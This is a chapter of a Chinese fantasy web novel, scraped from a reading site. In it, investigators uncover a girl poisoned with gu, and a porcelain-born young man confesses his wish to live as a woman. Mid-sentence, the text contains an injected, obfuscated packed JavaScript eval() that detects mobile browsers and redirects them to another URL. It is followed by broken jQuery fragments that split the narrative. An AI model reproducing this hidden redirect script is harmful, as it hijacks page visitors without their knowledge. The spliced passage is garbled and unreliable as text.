123读书网 > 都市小说 > 蛊娘她有两幅面孔 > 31. 白瓷镇秘闻(七)
    江余压下心头的惊悸,定定瞧了瞧她的模样:“这番模样,难道是中了蛊?!”


    她急步上前,闪电般出手,扣住女子的手腕,凝神感知。


    脉象沉滞混乱,借着月光,她还看见女子的手腕内侧,隐约浮现出几点奇异斑点,正微微起伏。


    “果然!”江余心中一沉,瞬间松手,眼底掠过寒芒。


    她足下轻点,拔地而起,掠过荒草,双手在墙头一搭一撑,矫健地翻了出去。


    “里面情况如何?”隐在暗处的池木周立刻低声问,目光扫过她周身,确认无恙。


    江余语速极快:“是那个被替换的孩子没错!但她神智尽失,被人下了蛊虫!”


    “蛊虫?!”一旁的池云安闻言,眉头紧锁,带着压不住的怒意,“苏明渊这老贼!是怕她有一日清醒过来揭露真相,所以用这般歹毒手段令其痴傻?”


    “可既已狠心至此,为何不干脆……”他未尽之言,众人都明白。斩草除根,岂不更干净?


    “这也是我疑惑之处。留她一命,却让她生不如死,或许……”江余话音未落,异变陡生!


    “谁在那里?!出来!”一声厉喝划破夜空!


    “被发现了!走!”


    身后,纷沓的脚步声和呼喝声迅速逼近,火把的光亮开始撕破黑暗。


    他们急掠出十余丈,小院旁那丛茂密的灌木之后,一道纤细的身影缓缓步出。


    苏晚清静立于月光中。


    素白衣裙在夜风中微微拂动,她脸上没有白日里那份温婉怯弱,只有一片了然的平静,甚至带着一丝淡淡的疲惫。


    月光勾勒出她清瘦的轮廓,在她脚边投下长长的、孤寂的影子。


    “你们果然……”她轻启朱唇,声音如风过竹林,“还是生疑了。”


    三更已过,万籁俱寂,唯有巡夜人手中灯笼的微光,如同鬼火般缓缓飘移。


    几人隐在假山石的阴影中,刚平复下急促的呼吸。


    “方才真是好险!”江余压低声音,心有余悸。


    话音未落,她余光蓦地瞥见一抹鲜艳的红色,悄无声息地自前方廊柱后一闪而过。


    “快看!”她一把拽住池木周的衣袖,忙忙道,“那个红影,又出现了!”


    那红影似乎不懂武功,脚步略显虚浮,迤逦而行,丝毫未察觉身后缀着的尾巴。


    红影果然去了葡萄架子下。


    葡萄架子下果然有个男子。


    那男子却不是苏晚影,而是林砚。


    池木周眼神一厉,自藏身处暴起,几个起落已逼近那人身后,一掌迅疾如风,劈在其后颈。男子闷哼一声,软软倒地。


    右手长剑已然出鞘,雪亮的剑锋在月下划出一道寒弧,堪堪拦在了那惊慌欲逃的红影身前,截断去路。


    池木周的长剑凝在半空,映出红影微微抬起的脸。看清那张脸薄施脂粉、眉眼描画精细的脸后,他冷峻的神色出现裂痕,脱口而出的低喝卡在喉间:“你……?!”


    江余上下扫视着眼前这人,声音因极度的意外而有些变调:“苏……苏少爷?!你、你怎么会是这副装扮?!”


    眼前的苏晚影,身着绯红长裙,裙裾绣着繁复的缠枝暗纹,在微弱的月光下流转着幽光。


    墨色长发只是以一根玉簪松挽,几缕发丝垂落颈侧,衬得那刻意修饰过的眉眼,呈现出一种惊心动魄的柔美。


    池木周手腕一沉,剑锋微偏,指向苏晚影腕间。腕间的铃铛,随着他的动作,发出蛊惑般的碎响。


    “你这腕间的铃铛,又是从何而来?”


    空气中弥漫着紧绷的沉默,葡萄藤的阴影浓重地覆盖下来,将几人笼在一片晦暗不明之中。


    苏晚影那双细细描绘过的眉眼褪去惊惧,渐渐沉淀为平静,甚至带着破釜沉舟后的淡淡倦意。


    他转身走向一旁的青石圆凳,优雅地拂袖坐下。他微微低头,伸出纤细的手指,仔细地整理着匆忙间略皱的绯红裙摆。


    裙裾随着动作舒展开来,铺在冰冷的石凳与地面上,宛如一朵在暗夜里孤绝绽放的红花。


    “铃铛,是苏晚清给我的。”


    他抬起手腕,让那对白瓷铃铛完全暴露在月光下,嘴角勾起一抹弧度,似嘲讽,又似悲哀:“她说,这铃铛能织出短暂的幻象。这足够让林砚以为,在葡萄架下同他幽会的,就是他心中念念不忘的苏晚清。”


    “你喜欢他?!”


    苏晚影避开了这个直白的问题。


    他的目光投向远处沉沉的黑暗,好像凝视着自己无法逃脱的过去。


    “你们查了这么久,想必也摸到边了。不错,我就是二十多年前,瓷婆婆窑火里诞生的最后一个作品。”


    “瓷人脱胎于泥土与烈火,本无阴阳定形。成为男子,或是女子,本应随心所欲,顺其自然。”


    “有这等自由,有何不好?”江余忍不住插话。


    “是自由,也是诅咒。”


    “这随心所欲,在旁人眼里便是奇技淫巧。我不愿为男,此心自初识人事便未曾更易。”


    “可苏明渊,何曾在乎过我与苏晚清想成为谁?他眼中只有苏家的香火,门楣的荣光。”


    “我必须是他无可挑剔的儿子,不能有半分违逆,连一丝真实的念想都是罪过。”


    “这些衣裙……”他轻轻拽了拽身上绯红的布料,“只能深锁柜中,在夜阑人静时,才敢偷偷穿上片刻。那镜中人,是我,又不是我。”


    “那时的我,从未奢望,能真正离开这座用锦绣堆砌的坟墓。”


    “……是什么,让你最终动了逃离的念头?”池木周不知何时已还剑入鞘,环抱双臂。


    苏晚影闻言,睫毛轻轻颤动,竟露出真切的笑意:“还记得酒楼里,那个被当作趣谈的‘才子花船救美’的故事么?那前半段故事,是真的。”


    “那年上元灯会,满城火树银花。我太想像个寻常姑娘那样,纵情欢乐一次。”


    “于是我便铤而走险,混上了最热闹的一艘花船。却乐极生悲,失足跌进冰冷的河里。”


    “是他救了你?”江余已然猜到。


    “是。水很冷,我以为就要那么无声无息地沉下去了,是他跳下来,把我捞起。”苏晚影的眼神变得有些朦胧。


    “他以为救起的是个落难女子,我设法将他聘入府中做先生,他竟也未曾推拒。”


    “他心中惦记的,一直是当年水里那个惊惶的姑娘吧。”


    苏晚影轻轻叹息,这叹息里有无尽的嘲弄,不知是对林砚,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921079|190901||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对自己,还是对这荒谬的命运。


    他将目光收回,褪去所有的闪躲与修饰。那眼神清澈见底,却又沉重如山。


    “我并非因他才想成为女子。”


    “而是,我本就想是女子。”


    月色吝啬地投下一缕清辉,恰好落在苏晚影身上,那袭红衣,像凝固的血,又像不肯熄灭的炭火。


    尘世碌碌,众生皆苦。纵使血肉之躯,七情六欲,生老病死,爱憎别离,又有哪一个不是枷锁?血肉之躯,尚且难得自由,更遑论它。


    它算什么呢?一团泥土,一场烈火,便成了这非人非鬼的模样。瓷人,更不曾有过半分选择的余地。


    它缓缓抬起双手,伸到眼前。月光下,那双手完美无瑕。可这无瑕之下,却没有真正的心跳。


    苏明渊要传承香火,它便只能将红裙锁入密室,成为苏家少爷。月色下的这份倾诉,也如同密室中的回响,注定消散于无形。


    一切不过生来注定,任谁挣扎,也是无用。


    “自由……”它咀嚼着这两个字,眼中微弱的光渐渐熄灭,只剩下深不见底的黑。


    “我所求的,不过是顺心而活。”


    “这辈子,怕也是无缘了。”


    它最终阖上眼,浓密的睫毛在脸颊上投下两弯青黑的阴影,如同祭奠的挽联。


    那身红衣,在皎皎月光下,依旧红得那般倔强,那般凄艳。


    “自由,从来都是靠自己去争,你能做到此等地步,是不是血肉之躯,又有何妨?”


    “靠自己去争?”她缓缓侧过半边脸,“我穿上这身衣裳,站在这里,便是争了么?这般偷偷摸摸,见不得光,连我自己都看不清镜中是谁,这也能算争?”


    江余的声音平稳清晰,落在她耳中:“夜扮红衣妆面,暗会倾心之人,胆敢直面过往。这步步惊心,哪一步不是争?多少血肉之躯,心中渴望自由,却又画地为牢,连逾矩半步的勇气都没有。”


    池木周靠在葡萄架柱上,阴影遮住了他大半表情,唯有目光幽幽流动。


    江余没有停顿,语速不快,却字字叩问心扉:“是泥胎还是骨血,是烈火锻造还是十月怀胎,真的那般要紧么?”


    “世间多少血肉之躯,浑噩一生,画地为牢,从未想过我是谁,更遑论我想成为谁。他们困于皮囊,更困于心牢。”


    “而你,”江余放缓声音,带着笃定,“无论你居于这华府深院,还是漂泊他处,无论旁人视你为苏家少爷,还是一尊瓷器,这些都不重要。”


    “只要你心中的向往不曾熄灭,只要你仍在为此挣扎、尝试、哪怕痛苦。这念头本身,就是火种。”


    苏晚影倏然抬眸,在江余清澈的眸子里,她第一次清晰地看到了,自己那个自由的灵魂。


    “心向自由,魂便自由。”江余的声音不大,却如磐石般稳当,“困住你的,从来不是瓷胎,而是你信了这瓷胎便是全部的命运。”


    “心若不囚,何处不可往?”


    良久之后,才传来一声蚊吶般的轻语。


    “……谢谢。”


    池云安捕捉到了她眼中那丝细微的变化,及时上前半步。


    “苏晚影,还有一事,我们必须问你。”


    “瓷婆婆,她在哪里?”